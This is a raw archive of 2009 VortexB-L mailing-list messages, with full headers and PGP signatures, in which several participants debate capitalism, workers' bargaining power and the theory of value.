--001636c5ac7a13766e046a9f872c-- From vortexb-l-request@eskimo.com Sat May 23 19:49:55 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O2nnO5020561; Sat, 23 May 2009 19:49:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O2nmpQ020549; Sat, 23 May 2009 19:49:48 -0700 Resent-Date: Sat, 23 May 2009 19:49:48 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1f811c1f7778.1f77781f811c@ncf.ca> Date: Sat, 23 May 2009 22:49:42 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4092 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 334 ----- Original Message ----- From: grok Date: Saturday, May 23, 2009 2:13 am Subject: Re: [VoB]:Re: This is VortexB-L... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Harry Veeder > mounted the barricade and roared out: > > > > > > > ----- Original Message ----- > > From: Charles HOPE > > Date: Friday, May 22, 2009 2:18 pm > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > I perceive the gap to be that grok recognizes value as > objective, > > > while Jeff > > > Fink recognizes value to be subjective. In the former case, > economic> > transactions are inherently zero-sum and exploitive, > whereas in > > > the latter > > > case they are positive sum and mutually beneficial. > > > > Both parties to a transaction must enjoy equal bargaining power > for it > > to be mutually beneficial, but in general such situations are > more > > theoretical than real. > > Harry > > No shit. And what workers bring to market -- to be shorn of, like > sheep -- is their > labor-power. And in the U.S., since the capitalists have been > chiseling workers > mercilessly for decades now, to live the "middle-class" lifestyle > so demanded because > of saturation media bombing, these deluded U.S. workers have been > conned into hocking > everything in sight and pawning their firstborn. > > And we see the results of that today. But let's still pretend > capitalism worx just > fine (and grok is a bad boy for pointing out otherwise). > > > - -- grok. > In a monetary economy, when a nation is producing more than it can consume on its own, an individual should have the substantive right to refuse to work. By that I don't mean the right to strike. I mean the right to stay out of the labour market without fear of socio- economic persecution. Harry From vortexb-l-request@eskimo.com Sat May 23 19:56:11 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O2u9AY021818; Sat, 23 May 2009 19:56:09 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O2u8JW021808; Sat, 23 May 2009 19:56:08 -0700 Resent-Date: Sat, 23 May 2009 19:56:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 19:56:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524025601.GA4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1fc2841f5995.1f59951fc284@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4093 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 335 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > I would say, all things being equal, it boils down to the right to > refuse the transaction and NOT BE WORSE OFF for having refused. > > Harry Which is generally NOT the case for workers, n'est-ce pas? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYt0EACgkQXo3EtEYbt3HpiQCglKEsdC+mYVlwthKU4yWK+AK6 /hQAoLpwJQhAb9FaLu3x0wHn4B0MDCmb =hPcC -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 19:58:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O2w6Of023665; Sat, 23 May 2009 19:58:06 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O2w5Cn023655; Sat, 23 May 2009 19:58:05 -0700 Resent-Date: Sat, 23 May 2009 19:58:05 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 19:58:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090524025800.GB4017@shell.resist.ca> Reply-To: grok@resist.ca References: <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4094 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 336 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Utility is what Marx blessed as "use value". > > Now, prove me wrong. Why, that's EXACTLY right, Charles. Head of the class for YOU. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYt7gACgkQXo3EtEYbt3FfnwCgxVtlX+NNZud+jv64mmzZSiCK KJEAoPHTZFr5tEl/QUfEYVsoyj9X/Pww =e/TR -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:00:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O30pkm024309; Sat, 23 May 2009 20:00:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O30piT024301; Sat, 23 May 2009 20:00:51 -0700 Resent-Date: Sat, 23 May 2009 20:00:51 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:00:45 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524030045.GC4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fa1df1f67a3.1f67a31fa1df@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1fa1df1f67a3.1f67a31fa1df@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4095 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 337 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > In a monetary economy, when a nation is producing more than it can > consume on its own, an individual should have the substantive right to > refuse to work. By that I don't mean the right to strike. I mean the > right to stay out of the labour market > without fear of socio-economic persecution. > Harry Under socialism we will ALL eat peaches & cream, komrad. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYuF0ACgkQXo3EtEYbt3FYBgCfZcgrn+dDOXNTUCaIo0OhupNK fa0AoI7ku9a6139Arcxo8sKFzVcNKIHJ =+Dvq -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:01:26 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O31Lar024440; Sat, 23 May 2009 20:01:21 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O31L5U024430; Sat, 23 May 2009 20:01:21 -0700 Resent-Date: Sat, 23 May 2009 20:01:21 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=BIlShtFxO3dzUx5/z9SzZx77plXalxqOGhH8qrZy6V8=; b=fdfm/28H7njNzn1d3k2QmwGT+CxV457ADX2HijOVwjCASn/m3RByQizpEN0BRGTWB6 HPMAABq7t0s9+lgGzKCZMS6NiLbyWpV7dZ/a7UTueh+iEVdrl0p3gkQli9ka0KbRspdU ZmugdoUsJuvPeMpb8D4lcUD7aJNjRSPZgJ8dk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=QiOS8itv3W3dei1lwERlG+I8jyN/hds0FRfC28wR211O5ZKUMRLgcvo0CkHV3rItG9 WiaTkXMU20M1L4CMgqtKdfmxt7s6k7T+eGj6IgHqJ//A+ToUZPr+EVj0m1D/0K/WqI8N ARTEkULmx2O8YqdQjiV8i+Ybpk87aR4XmynGU= MIME-Version: 1.0 In-Reply-To: <20090524025601.GA4017@shell.resist.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> <20090524025601.GA4017@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:00:59 -0400 Message-ID: <63ffa6020905232000l64d003f9uf9cebd99e89199b8@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a71731960b046a9fb569 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4096 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 338 --001636c5a71731960b046a9fb569 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What do you mean, grok? On Sat, May 23, 2009 at 10:56 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Harry Veeder > mounted the barricade and roared out: > > > I would say, all things being equal, it boils down to the right to > > refuse the transaction and NOT BE WORSE OFF for having refused. > > > > Harry > > Which is generally NOT the case for workers, n'est-ce pas? > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYt0EACgkQXo3EtEYbt3HpiQCglKEsdC+mYVlwthKU4yWK+AK6 > /hQAoLpwJQhAb9FaLu3x0wHn4B0MDCmb > =3DhPcC > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a71731960b046a9fb569 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What do you mean, grok?


On Sat, May 2= 3, 2009 at 10:56 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Harry Veeder <hv= eeder@ncf.ca>
mounted the barricade and roared out:

> I would say, all things being equal, it boils = down to the right to
> refuse the transaction and NOT BE WORSE OFF for having refused.
>
> Harry

Which is generally NOT the case for workers, n'est-ce pas?

- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYt0EACgkQXo3EtEYbt3HpiQCglKEsdC+mYVlwthKU4yWK+AK6
/hQAoLpwJQhAb9FaLu3x0wHn4B0MDCmb
=3DhPcC
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a71731960b046a9fb569-- From vortexb-l-request@eskimo.com Sat May 23 20:04:38 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O34aVg027196; Sat, 23 May 2009 20:04:36 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O34WxR027181; Sat, 23 May 2009 20:04:32 -0700 Resent-Date: Sat, 23 May 2009 20:04:32 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:04:27 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524030427.GD4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4097 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 339 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Does it matter why the person would be worse off for refusing? Are you > recognizing a difference between agency and circumstance; the difference > between me putting a gun to your head and informing you that I'll kill you > if you turn down the deal, versus the deal simply being the best of all your > options? Capitalism is very much like that, actually. Of course, stalinism wasn't any better. Remember that old soviet joke, eh?: "Capitalism is the exploitation of Man by Man; Socialism, OTOH, is the exact opposite..." - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYuTsACgkQXo3EtEYbt3HocgCfVj8vlUWMRibfoyuAqfILl+d7 jdIAoMxUXHXfl82uC7fXf8ttaonyKdVU =CaVS -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:09:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O39WfE027868; Sat, 23 May 2009 20:09:33 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O39W5t027858; Sat, 23 May 2009 20:09:32 -0700 Resent-Date: Sat, 23 May 2009 20:09:32 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1f82e51fbfd4.1fbfd41f82e5@ncf.ca> Date: Sat, 23 May 2009 23:09:29 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: <6taoXC.A.HzG.spLGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4098 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 340 I am considering the consequences of refusing, and the consequences don't have to be brutal to be detremental. Harry ----- Original Message ----- From: Charles HOPE Date: Saturday, May 23, 2009 10:48 pm Subject: Re: [VoB]:Re: This is VortexB-L... > Does it matter why the person would be worse off for refusing? > Are you > recognizing a difference between agency and circumstance; the > differencebetween me putting a gun to your head and informing you > that I'll kill you > if you turn down the deal, versus the deal simply being the best > of all your > options? > > > > On Sat, May 23, 2009 at 10:23 PM, Harry Veeder wrote: > > > I would say, all things being equal, it boils down to the right to > > refuse the transaction and NOT BE WORSE OFF for having refused. > > > > Harry > > > > ----- Original Message ----- > > From: Charles HOPE > > Date: Saturday, May 23, 2009 1:43 am > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > What does bargaining power mean in this case? > > > > > > On Sat, May 23, 2009 at 1:33 AM, Harry Veeder > wrote:> > > > > > > > > > > > > > ----- Original Message ----- > > > > From: Charles HOPE > > > > Date: Friday, May 22, 2009 2:18 pm > > > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > > > > > I perceive the gap to be that grok recognizes value as > objective,> > > > while Jeff > > > > > Fink recognizes value to be subjective. In the former case, > > > economic> > transactions are inherently zero-sum and exploitive, > > > whereas in > > > > > the latter > > > > > case they are positive sum and mutually beneficial. > > > > > > > > Both parties to a transaction must enjoy equal bargaining power > > > for it > > > > to be mutually beneficial, but in general such situations > are more > > > > theoretical than real. > > > > Harry From vortexb-l-request@eskimo.com Sat May 23 20:10:11 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3A5NF028007; Sat, 23 May 2009 20:10:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3A4AH027996; Sat, 23 May 2009 20:10:04 -0700 Resent-Date: Sat, 23 May 2009 20:10:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:09:59 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524030959.GE4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <20090524025601.GA4017@shell.resist.ca> <63ffa6020905232000l64d003f9uf9cebd99e89199b8@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232000l64d003f9uf9cebd99e89199b8@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4099 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 341 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > What do you mean, grok? I mean that, generally: if you don't work for what they offer you -- you can damned well bugger off and starve. And even then you might be screwed anyway. And of course, the whole point of the capitalists' ongoing destruction of the Post-war welfare state is their venal intention to take us all right back to that lovely situation. Dontcha just LOVE the Hope and Change of Obamarama..?? - -- grok. > > > I would say, all things being equal, it boils down to the right to > > > refuse the transaction and NOT BE WORSE OFF for having refused. > > > > > > Harry > > > > Which is generally NOT the case for workers, n'est-ce pas? > > > > - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYuocACgkQXo3EtEYbt3Ez0ACgzoUf3HZd+XJs2Y3wtEUyokun MXwAnjNIcqAgo8FB8Qg5LjR3AZs9wYe4 =PBjx -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:11:08 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3B1r7028194; Sat, 23 May 2009 20:11:01 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3B0wu028187; Sat, 23 May 2009 20:11:00 -0700 Resent-Date: Sat, 23 May 2009 20:11:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=3TThzxj/s+ne34PjPoPFrAnK/sXv3bt6UUCb+lAHd+Q=; b=aM0fkNYrJum4rWM7C0ArsN/YX4jI087bMZa+U485fXdc8Kyjie43H0FrHJQFsDky4K vVUBL7ccmRvRH4Lxmgr40mJLDAM9uyIo5NAgUj2c5lLlXC3XeXAZkP30ecZIIlPmqDS8 oEtyEC/lC40Gy8nWLgaOJXG9u4HZCoRuZb3E4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=NBH7KB8jkQZfmswSLLMpsTA8x0KWkfMkcy8c/Fvs0zI/MGUAq+c9BRECI5SotUC9vp KgbHqPO2mzjIqPyZj+fEtZa0dfIbLnbV1Ix2UnMzZo9+VbcHEhV/A5KjM74Z0nkZs/hQ 8qigq4ZY2/Htya2hpVmT8y2TFE7r7jy1k0Vq8= MIME-Version: 1.0 In-Reply-To: <20090524030427.GD4017@shell.resist.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:10:39 -0400 Message-ID: <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b84dc4ac2a046a9fd7d8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4100 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 342 --001636c5b84dc4ac2a046a9fd7d8 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is like what? On Sat, May 23, 2009 at 11:04 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Does it matter why the person would be worse off for refusing? Are you > > recognizing a difference between agency and circumstance; the differenc= e > > between me putting a gun to your head and informing you that I'll kill > you > > if you turn down the deal, versus the deal simply being the best of all > your > > options? > > Capitalism is very much like that, actually. Of course, stalinism wasn't > any better. > Remember that old soviet joke, eh?: "Capitalism is the exploitation of Ma= n > by Man; > Socialism, OTOH, is the exact opposite..." > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYuTsACgkQXo3EtEYbt3HocgCfVj8vlUWMRibfoyuAqfILl+d7 > jdIAoMxUXHXfl82uC7fXf8ttaonyKdVU > =3DCaVS > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b84dc4ac2a046a9fd7d8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is like what?


On Sat, May = 23, 2009 at 11:04 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Does it matter why the person would be worse o= ff for refusing? =A0Are you
> recognizing a difference between agency and circumstance; the differen= ce
> between me putting a gun to your head and informing you that I'll = kill you
> if you turn down the deal, versus the deal simply being the best of al= l your
> options?

Capitalism is very much like that, actually. Of course, stalinism was= n't any better.
Remember that old soviet joke, eh?: "Capitalism is the exploitation of= Man by Man;
Socialism, OTOH, is the exact opposite..."


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

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=3DCaVS
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
